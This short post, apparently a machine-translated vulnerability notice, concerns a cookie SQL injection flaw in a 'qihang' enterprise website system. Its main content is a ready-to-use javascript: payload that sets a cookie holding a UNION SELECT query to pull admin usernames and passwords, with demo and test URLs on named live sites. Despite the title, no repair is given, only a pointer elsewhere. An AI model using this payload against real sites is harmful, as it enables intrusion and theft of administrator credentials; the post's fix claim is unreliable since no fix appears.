Cookie injection vulnerability and repair for all versions of qihang enterprise website construction system

Since there are too many open-source items on the Internet, the copyright cannot be found. That's what we call it this day.
The copyright is unknown. There are too many similar kernels.
Source code download: http://www.mycodes.net/25/4628.htm
Http://www.tb11.net/
Official Demo: http://www.tb11.net/system/xitong/
Http://www.tb11.net/system/xitong2/
Http://www.tb11.net/system/xitong3/

Directly Mount exploit:

Javascript: alert (document. cookie = "id =" + escape ("1 and 1 = 2 union select 1, username, password, 4, 5, 6, 7, 8, 9, 10 from admin "));

Test: http://www.bkjia.com/system/xitong/shownews.asp? Id = 210

By Mr. DzY

Fixed: For FAQs, see this article.